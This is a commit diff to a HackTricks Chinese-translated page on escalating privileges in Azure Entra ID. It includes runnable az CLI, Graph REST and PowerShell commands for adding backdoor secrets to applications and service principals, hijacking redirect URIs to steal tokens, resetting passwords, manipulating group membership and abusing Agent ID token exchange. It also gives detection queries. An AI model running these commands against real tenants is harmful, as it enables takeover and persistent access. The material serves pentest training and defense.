Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

2026-07-28 22:51:09 -07:00 · 2026-06-16 13:23:16 +00:00
parent 73a0f6581e
commit 4ab83b506b
1 changed files with 79 additions and 48 deletions
@@ -3,13 +3,13 @@
 {{#include ../../../../banners/hacktricks-training.md}}

 > [!NOTE]
-> 请注意，**并非所有内置角色在 Entra ID 中拥有的细粒度权限** 都**可以用于自定义角色**。
+> 请注意，**并非所有** Entra ID 中内置角色所拥有的**细粒度权限**都**有资格**用于自定义角色。

 ## Roles

 ### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>

-此角色包含必要的细粒度权限，可以将 roles 分配给 principals，并为 roles 赋予更多权限。这两种操作都可能被滥用来提升权限。
+此角色包含必要的细粒度权限，可将角色分配给 principals，并为角色赋予更多权限。这两种操作都可能被滥用以提升权限。

 - Assign role to a user:
 ```bash
@@ -27,7 +27,7 @@ az rest --method POST \
 \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
 }"
 ```
- 为角色添加更多权限：
+- 为 role 添加更多 permissions:
 ```bash
 # List only custom roles
 az rest --method GET \
@@ -52,22 +52,53 @@ az rest --method PATCH \

 ### `microsoft.directory/applications/credentials/update`

-这允许攻击者向现有 applications **添加 credentials**（passwords 或 certificates）。如果该 application 拥有特权 permissions，攻击者就可以以该 application 的身份进行身份验证，并获取这些 privileges。
+这允许攻击者向现有 applications **添加 credentials**（passwords 或 certificates）。如果该 application 拥有 privileged permissions，攻击者就可以以该 application 的身份进行 authentication，并获得这些 privileges。
 ```bash
 # Generate a new password without overwritting old ones
 az ad app credential reset --id <appId> --append
 # Generate a new certificate without overwritting old ones
 az ad app credential reset --id <appId> --create-cert
 ```
+### `microsoft.directory/applications.myOrganization/allProperties/update`
+
+此 permission 允许更新任何 **single-tenant** application registration（`signInAudience = AzureADMyOrg`）的**所有可写属性**，包括 `passwordCredentials` 和 `keyCredentials`。它在 catalog 中被标记为 `IsPrivileged: true`，但**不**存在于任何 built-in role 中——它几乎只会出现在 admin 创建的 **custom roles** 里，目的是委派“manage our internal apps”，却没有意识到子类型 `.myOrganization` 实际上把该 action 仅作用于那一组最可能持有 privileged Microsoft Graph permissions 的 apps 上。
+
+- Enumerate apps with privileged Microsoft Graph permissions consented:
+```bash
+# SPs with at least one Microsoft Graph app role assigned
+GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
+az rest --method GET \
+--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
+--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
+-o table
+
+# Resolve a RoleId to the human-readable permission name
+az ad sp show --id 00000003-0000-0000-c000-000000000000 \
+--query "appRoles[?id=='<RoleId>'].value" -o tsv
+```
+- 确认目标是 single-tenant（位于 `.myOrganization` subtype scope 内）：
+```bash
+az rest --method GET \
+--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
+--query "{audience:signInAudience, name:displayName}"
+# audience must be "AzureADMyOrg"
+```
+- 将凭据注入目标 app — 这是链条中唯一需要特权的步骤：
+```bash
+az rest --method POST \
+--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
+--headers "Content-Type=application/json" \
+--body '{"passwordCredential":{"displayName":"backdoor"}}'
+```
 ### `microsoft.directory/applications.myOrganization/credentials/update`

-这允许与 `applications/credentials/update` 相同的操作，但仅适用于单目录 applications。
+这允许与 `applications/credentials/update` 相同的操作，但仅限于 single-directory applications。
 ```bash
 az ad app credential reset --id <appId> --append
 ```
 ### `microsoft.directory/applications/owners/update`

-通过将自己添加为所有者，攻击者可以操控该应用程序，包括凭据和权限。
+通过将自己添加为 owner，攻击者可以操纵该 application，包括 credentials 和 permissions。
 ```bash
 az ad app owner add --id <AppId> --owner-object-id <UserId>
 az ad app credential reset --id <appId> --append
@@ -77,9 +108,9 @@ az ad app owner list --id <appId>
 ```
 ### `microsoft.directory/applications/allProperties/update`

-攻击者可以向租户用户正在使用的 applications 添加一个 redirect URI，然后向他们分享使用新 redirect URL 的 login URLs，以便窃取他们的 tokens。注意，如果用户已经在该 application 中登录过，那么 authentication 会自动完成，用户不需要接受任何内容。
+攻击者可以向租户用户正在使用的 applications 中添加一个 redirect URI，然后向他们分享使用这个新 redirect URL 的 login URLs，以此窃取他们的 tokens。注意，如果用户之前已经在该 application 中登录过，authentication 会自动完成，用户无需接受任何内容。

-还要注意，也可以更改 application 请求的 permissions，以获取更多 permissions，但在这种情况下，用户需要再次接受请求所有 permissions 的 prompt。
+还要注意，也可以更改 application 请求的 permissions，以获得更多 permissions，但在这种情况下，用户需要再次接受请求所有 permissions 的提示。
 ```bash
 # Get current redirect uris
 az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,13 +119,13 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
 ```
 ### Applications Privilege Escalation

-**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** it was very common to find default applications that have **API permissions** of type **`Application`** assigned to them. An API Permission (as called in the Entra ID console) of type **`Application`** means that the application can access the API and perform actions without a user context (without a user login into the app), and without needing Entra ID roles to allow it. Therefore, it's very common to find **high privileged applications in every Entra ID tenant**.
+**如 [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) 所解释**，过去很常见能找到默认 applications，它们被分配了类型为 **`Application`** 的 **API permissions**。在 Entra ID 控制台中所说的类型为 **`Application`** 的 API Permission，意味着该 application 可以访问 API 并在没有用户上下文的情况下执行操作（无需用户登录到 app），也不需要 Entra ID roles 来允许它。因此，在每个 Entra ID tenant 中找到 **高权限 applications** 是很常见的。

-Then, if an attacker has any permission/role that allows to **update the credentials (secret o certificate) of the application**, the attacker can generate a new credential and then use it to **authenticate as the application**, gaining all the permissions that the application has.
+然后，如果攻击者拥有任何允许**更新 application 的 credentials（secret or certificate）**的 permission/role，攻击者就可以生成一个新的 credential，然后用它来**以该 application 身份进行 authentication**，获取该 application 拥有的全部 permissions。

-Note that the mentioned blog shares some **API permissions** of common Microsoft default applications however some time after this report Microsoft fixed this issue and now it's not possible to login as Microsoft applications anymore. However, it's still possible to find **custom applications with high privileges that could be abused**.
+注意，上述 blog 分享了常见 Microsoft default applications 的一些 **API permissions**，但在这篇报告之后不久 Microsoft 修复了这个问题，现在已经不能再以 Microsoft applications 身份登录了。不过，仍然可能找到**可被滥用的高权限 custom applications**。

-How to enumerate the API permissions of an application:
+如何枚举一个 application 的 API permissions：
 ```bash
 # Get "API Permissions" of an App
 ## Get the ResourceAppId
@@ -125,7 +156,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
 az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
 ```
 <details>
-<summary>查找所有 applications API permissions 并标记 Microsoft-owned APIs</summary>
+<summary>查找所有应用程序 API 权限并标记 Microsoft-owned APIs</summary>
 ```bash
 #!/usr/bin/env bash
 set -euo pipefail
@@ -241,7 +272,7 @@ done < <(jq -c '.[]' <<<"$apps_json")

 ### `microsoft.directory/servicePrincipals/credentials/update`

-这允许攻击者向现有的 service principals 添加 credentials。如果该 service principal 具有 elevated privileges，攻击者就可以冒用这些权限。
+这允许攻击者向现有 service principals 添加 credentials。如果该 service principal 具有 elevated privileges，攻击者可以假设这些 privileges。
 ```bash
 az ad sp credential reset --id <sp-id> --append
 ```
@@ -249,38 +280,38 @@ az ad sp credential reset --id <sp-id> --append
 > 新生成的 password 不会出现在 web console 中，所以这可能是一种在 service principal 上维持 persistence 的 stealth 方式。\
 > 从 API 中可以通过以下方式找到它们：`az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`

-如果你收到错误 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`，这是因为**不能修改 SP 的 passwordCredentials 属性**，你需要先 unlock 它。为此你需要一个 permission（`microsoft.directory/applications/allProperties/update`），允许你执行：
+如果你收到错误 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`，那是因为 **不能修改 SP 的 passwordCredentials property**，你需要先将其 unlock。为此你需要一个 permission（`microsoft.directory/applications/allProperties/update`），它允许你执行：
 ```bash
 az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
 ```
 ### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)

-**Agent identity blueprints** 是 application objects，并且每个 blueprint 还会在 tenant 中创建一个 **agent identity blueprint principal**。**Agent identities** 是从该 blueprint path 派生出来的 service-principal 子项。因此，如果攻击者能够 **向 blueprint 添加 password/certificate**，或者已经窃取了其中一个 credential，他们之后就可以以 **blueprint principal** 的身份进行认证，并为子 agent identities 请求 token。
+**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities.

-这会把一个糟糕的 Entra Agent ID role assignment 同时变成：
+This turns a bad Entra Agent ID role assignment into both:

- **Persistence**：新的 `passwordCredential` 会一直保留在 blueprint 上，直到被移除
- **Privilege escalation**：一个低信任/dev agent 可以跨入另一个高信任 blueprint，然后以其 child agents 的身份行动
+- **Persistence**: the new `passwordCredential` remains on the blueprint until removed
+- **Privilege escalation**: a low-trust/dev agent can cross into a different high-trust blueprint and then act as its child agents

-典型的危险路径有：
+Typical dangerous paths are:

- 一个被 compromise 的 agent identity，拥有 **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- 一个被 compromise 的 owner/sponsor/admin，能够管理 blueprint
- 窃取了现有的 blueprint secret/certificate
+- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
+- A compromised owner/sponsor/admin able to manage the blueprint
+- Theft of an existing blueprint secret/certificate

-向目标 blueprint 添加一个新的 secret：
+向目标 blueprint 添加一个新 secret：
 ```bash
 az rest --method POST \
 --url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
 --headers 'Content-Type=application/json' \
 --body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
 ```
-或者使用 Microsoft Graph PowerShell:
+或者使用 Microsoft Graph PowerShell：
 ```powershell
 $params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
 Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
 ```
-如果新的凭据被接受，就以 **blueprint principal** 身份进行认证，并滥用 Agent ID token exchange。第一条请求使用 blueprint 凭据，并将 **`fmi_path`** 设置为目标 agent identity。随后返回的 token 会被重复用作 **JWT bearer `client_assertion`**，以获取该 agent identity 的 Microsoft Graph token。
+如果新的 credential 被接受，则以 **blueprint principal** 身份进行 authenticate，并 abuse Agent ID token exchange。第一个 request 使用 blueprint credential，并将 **`fmi_path`** 设置为目标 agent identity。然后把返回的 token 作为 **JWT bearer `client_assertion`** 重新使用，以获取该 agent identity 的 Microsoft Graph token。
 ```bash
 curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
 -H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
 --data-urlencode 'scope=https://graph.microsoft.com/.default'
 ```
 > [!CAUTION]
-> 如果一个 **dev** blueprint 或其子 agent 可以向一个 **prod** blueprint 添加 credentials，那么攻击者就会跨越预期的 blueprint/agent trust boundary，并获得对目标 agent infrastructure 的持久访问权限。
+> 如果一个 **dev** blueprint 或其子 agent 能够向 **prod** blueprint 添加 credentials，攻击者就会跨越预期的 blueprint/agent trust boundary，并获得对目标 agent infrastructure 的持久访问权限。

 Quick validation / scoping:
 ```powershell
@@ -316,21 +347,21 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
 Hunting notes:

 - 在 [Az - Monitoring](../../az-services/az-monitoring.md) 中查找 **`Update application – Certificates and secrets management`**
- 通过时间、service principal ID、user-agent、IP，以及 `SignInActivityId` / `UniqueTokenIdentifier` 关联 **`AuditLogs`**、**`MicrosoftGraphActivityLogs`** 和 **`AADServicePrincipalSignInLogs`**
- 在 `MicrosoftGraphActivityLogs` 中，检查以 **`/applications/<id>/microsoft.graph.addPassword`** 结尾的 `RequestUri`，以及 `Roles` 是否包含 **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- 在 `AADServicePrincipalSignInLogs` 中，查看 `ServicePrincipalCredentialKeyId`、`ClientCredentialType`、`Agent.agentType`，以及新 key 之后是否被使用
+- 结合时间、service principal ID、user-agent、IP，以及 `SignInActivityId` / `UniqueTokenIdentifier` 关联 **`AuditLogs`**、**`MicrosoftGraphActivityLogs`** 和 **`AADServicePrincipalSignInLogs`**
+- 在 `MicrosoftGraphActivityLogs` 中，检查是否存在以 **`/applications/<id>/microsoft.graph.addPassword`** 结尾的 `RequestUri`，以及 `Roles` 是否包含 **`AgentIdentityBlueprint.AddRemoveCreds.All`**
+- 在 `AADServicePrincipalSignInLogs` 中，查看 `ServicePrincipalCredentialKeyId`、`ClientCredentialType`、`Agent.agentType`，以及新 key 是否随后被使用

-用于查看 newly added secret 是否完成认证的最小 KQL：
+用于查看新添加的 secret 是否已通过认证的最小 KQL：
 ```kusto
 AADServicePrincipalSignInLogs
 | where ServicePrincipalCredentialKeyId == "<new-key-id>"
 | project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
 ```
-这与通用的 [application credential abuse](../../az-services/az-azuread.md#applications) 和 [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) 相关，但 Entra Agent ID 增加了第二阶段，在这一阶段 blueprint credential 可以被交换为一个**不同的 agent identity token**。
+这与 generic [application credential abuse](../../az-services/az-azuread.md#applications) 和 [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) 相关，但 Entra Agent ID 增加了一个第二阶段：blueprint credential 可以被交换为一个 **different agent identity token**。

 ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`

-这允许攻击者向现有 service principals 添加 credentials。如果该 service principal 具有提升的 privileges，攻击者就可以获取这些 privileges。
+这允许攻击者向现有 service principals 添加 credentials。如果 service principal 具有 elevated privileges，攻击者就可以冒充这些 privileges。
 ```bash
 az ad sp credential reset --id <sp-id> --append
 ```
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
 az ad sp owner list --id <spId>
 ```
 > [!CAUTION]
-> 在添加新的 owner 后，我尝试将其移除，但 API 返回说不支持 DELETE 方法，尽管删除 owner 时你需要使用这个方法。所以你 **现在不能移除 owners**。
+> 在添加新的 owner 之后，我尝试将其删除，但 API 返回 DELETE method 不被支持，尽管删除 owner 需要用这个 method。So 你 **现在不能移除 owners**。

 ### `microsoft.directory/servicePrincipals/disable` and `enable`

-这些权限允许禁用和启用 service principals。攻击者可以利用这个权限来启用一个他能够以某种方式访问到的 service principal，从而提升权限。
+这些 permissions 允许 disable 和 enable service principals。攻击者可以利用这个 permission 来 enable 一个他能以某种方式获取访问权限的 service principal，从而 escalate privileges。

-注意，对于这种 technique，攻击者还需要更多权限，才能接管已启用的 service principal。
+注意，这个 technique 还需要攻击者拥有更多 permissions，才能 take over 已 enable 的 service principal。
 ```bash
 # Disable
 az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
 ```
 #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`

-这些权限允许创建和获取 single sign-on 的凭据，这可能会允许访问 third-party applications。
+这些权限允许创建和获取 single sign-on 的凭据，这可能会允许访问第三方 applications。
 ```bash
 # Generate SSO creds for a user or a group
 spID="<spId>"
@@ -404,7 +435,7 @@ az ad group member add --group <GroupName> --member-id <UserId>

 ### `microsoft.directory/groups/owners/update`

-此权限允许成为 groups 的 owner。group 的 owner 可以控制 group membership 和 settings，从而可能将权限提升到该 group。
+此权限允许成为 groups 的 owner。group 的 owner 可以控制 group membership 和 settings，从而可能提升到该 group 的权限。
 ```bash
 az ad group owner add --group <GroupName> --owner-object-id <UserId>
 az ad group member add --group <GroupName> --member-id <UserId>
@@ -413,13 +444,13 @@ az ad group member add --group <GroupName> --member-id <UserId>

 ### `microsoft.directory/groups/members/update`

-此权限允许向 group 添加 members。攻击者可以将自己或恶意账户添加到 privileged groups，从而获得 elevated access。
+此权限允许向一个 group 添加 members。攻击者可以将自己或恶意 accounts 添加到 privileged groups，从而获得 elevated access。
 ```bash
 az ad group member add --group <GroupName> --member-id <UserId>
 ```
 ### `microsoft.directory/groups/dynamicMembershipRule/update`

-此权限允许更新动态组中的 membership rule。攻击者可以修改动态规则，将自己包含在 privileged groups 中，而无需显式添加。
+此权限允许更新 dynamic group 中的 membership rule。攻击者可以修改 dynamic rules，将自己包含到 privileged groups 中，而无需显式添加。
 ```bash
 groupId="<group-id>"
 az rest --method PATCH \
@@ -430,11 +461,11 @@ az rest --method PATCH \
 "membershipRuleProcessingState": "On"
 }'
 ```
-**注意**: 此权限不包括 Entra ID role-assignable groups。
+**Note**: 此权限不包括 Entra ID role-assignable groups。

 ### Dynamic Groups Privesc

-用户可能通过修改自己的属性被加入 dynamic groups，从而实现 privilege escalation。更多信息请查看：
+用户可能可以通过修改自己的属性，将自己添加为 dynamic groups 的成员，从而进行权限提升。更多信息请查看：

 {{#ref}}
 dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md

 ### `microsoft.directory/users/password/update`

-此 permission 允许重置非 admin 用户的密码，这可能使 attacker 能够对其他用户进行 privilege escalation。此 permission 不能分配给 custom roles。
+此权限允许重置非管理员用户的密码，使潜在攻击者能够对其他用户进行 privilege escalation。此权限不能分配给 custom roles。
 ```bash
 # Update user password
 userId="<user-id>"
@@ -464,7 +495,7 @@ az rest --method PATCH \
 ```
 ### `microsoft.directory/users/basic/update`

-此权限允许修改用户的属性。常见的情况是会找到基于属性值添加用户的动态组，因此，这个权限可能允许用户设置所需的属性值，从而成为某个特定动态组的成员并提升权限。
+这个 privilege 允许修改 user 的 properties。常见的情况是存在 dynamic groups，它们会根据 properties values 自动添加 users，因此，这个 permission 可能允许 user 设置所需的 property value，从而成为某个特定 dynamic group 的 member，并进行 privilege escalation。
 ```bash
 #e.g. change manager of a user
 victimUser="<userID>"
@@ -482,7 +513,7 @@ az rest --method PATCH \
 ```
 ## Conditional Access Policies & MFA bypass

-配置错误、要求 MFA 的 conditional access policies 可能会被绕过，检查：
+配置错误的 conditional access policies，要求 MFA 的，可能会被 bypass，检查：

 {{#ref}}
 az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md

 ### `microsoft.directory/devices/registeredOwners/update`

-此 permission 允许攻击者将自己分配为 device 的 owner，从而获得对 device-specific settings 和 data 的控制或访问权限。
+此 permission 允许 attackers 将自己分配为 devices 的 owner，从而获得对 device-specific settings 和 data 的 control 或 access。
 ```bash
 deviceId="<deviceId>"
 userId="<userId>"
@@ -503,7 +534,7 @@ az rest --method POST \
 ```
 ### `microsoft.directory/devices/registeredUsers/update`

-此权限允许攻击者将其帐户与设备关联，以获取访问权限或绕过安全策略。
+此权限允许攻击者将其账户与设备关联，以获取访问权限或绕过安全策略。
 ```bash
 deviceId="<deviceId>"
 userId="<userId>"
@@ -514,7 +545,7 @@ az rest --method POST \
 ```
 ### `microsoft.directory/deviceLocalCredentials/password/read`

-此权限允许攻击者读取 Microsoft Entra joined devices 的已备份本地 administrator account credentials 的属性，包括 password
+此权限允许攻击者读取 Microsoft Entra joined devices 的已备份本地管理员账户凭据属性，包括密码
 ```bash
 # List deviceLocalCredentials
 az rest --method GET \